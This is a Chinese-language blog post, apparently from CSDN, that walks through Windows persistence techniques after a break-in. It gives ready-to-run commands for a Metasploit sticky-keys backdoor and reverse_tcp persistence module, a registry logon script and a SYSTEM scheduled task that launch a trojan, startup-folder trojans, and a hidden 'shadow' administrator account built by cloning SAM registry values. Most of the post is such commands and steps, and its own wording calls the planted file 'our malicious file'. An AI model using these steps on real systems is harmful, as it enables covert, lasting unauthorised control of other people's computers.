• Windows权限维持


    Meterpreter权限维持

    Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。
    该模块将用 CMD 替换辅助功能的二进制文件( sethc, osk, disp, utilman )

    use post/windows/manage/sticky_keys

    设置session

    提示:

    会话具有管理权限,正在进行。

    [+]已成功添加“粘滞键”。按SHIFT键5次,在RDP或UAC提示下启动该漏洞。

    [*]模块后执行完成

    在锁屏的情况下,按SHIFT键5次,弹出CMD,拥有system权限

    #操作前提是目标开启了3389端口,可以远程登录

    Persistence模块

    exploit/windows/local/persistence

    use exploit/windows/local/persistence
    set session 1
    set payload windows/x64/meterpreter/reverse_tcp

    增加一个6666端口监听

    目标主机关机重启后,自动回连

    logon scripts

    Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

    注册表位置:HKEY_CURRENT_USER\Environment


    REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\8585.exe"  
    #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

    重启,反弹shell

    Schtasks计划任务

    schtasks /create
    # 创建新的计划任务

    /sc schedule
    # 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、
    ONCE、ONSTART、ONLOGON、ONIDLE。

    /mo modifier
    # 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对
    于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认
    值为 1。

    /tr
    # 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在
    %Systemroot%\System32 目录下。

    /tn
    # 指定任务的名称

    #执行命令需要system权限

    schtasks /create /sc minute /mo 1 /tn "luck" /tr c:\8585 /ru system

    启动项

    在每次开机或重启的时候就会运行启动文件夹下的程序

    C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start
    Menu\Programs\Startup

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

    将木马文件放在此目录,每次用户开机时就会启动我们的恶意文件,可以实现权限维持。

    隐藏用户(影子用户)

    1.对注册表赋予权限

    默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改

    现在需要为其添加管理员权限

    右键-权限-选中Administrators,允许完全控制

    #重新启动注册表regedit.exe,获得对该键值的修改权限

    2.新建特殊帐户

    net user luck$ 123456 /add
    net localgroup administrators luck$ /add

    #用户名要以$结尾

    #添加后,该帐户可在一定条件下隐藏,输入net user无法获取,如下图

    但是,在控制面板能够发现该帐户

    3.导出注册表

    在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户luck$

    获取默认类型为0x3e9

    将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\luck$导出为1.reg

    在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9

    将、HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9 导出,命名为2.reg

    默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

    将 000001F4 键值导出,命名为3.reg

    将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9下键F的值,替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值

    4.命令行删除特殊帐户

    net user luck$ /del

     5、导入reg文件

    双击导入注册表,或通过命令行

    regedit /s 1.reg

    regedit /s 2.reg

    管理账户看不到,luck$用户

    net user 无法显示隐藏用户

    通过命令查看:net user luck$

    无法通过net user luck$ /del删除该用户,提示用户不属于此组

    删除方法:

    删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\下对应帐户的键值(共有两处)

    ...

    参考:

    【内网安全】——Windows权限维持_白昼安全的博客-CSDN博客

    渗透技巧——Windows系统的帐户隐藏

  • 相关阅读:
    项目复盘模板
    万物皆可“云” 从杭州云栖大会看数智生活的未来
    pycharm中做web应用(12)基于Django和mysql 做用户登录验证2
    1218. 最长定差子序列
    android FM DAB相关的知识
    【C语言】文件操作
    【测试沉思录】16. 性能测试中的系统资源分析之三:磁盘
    进程间通信(IPC)的方法:UNIX域套接字
    C#(三十九)之关于string的一些函数
    2022-09-18 Docker 基础命令
  • 原文地址:https://blog.csdn.net/weixin_51151498/article/details/133321436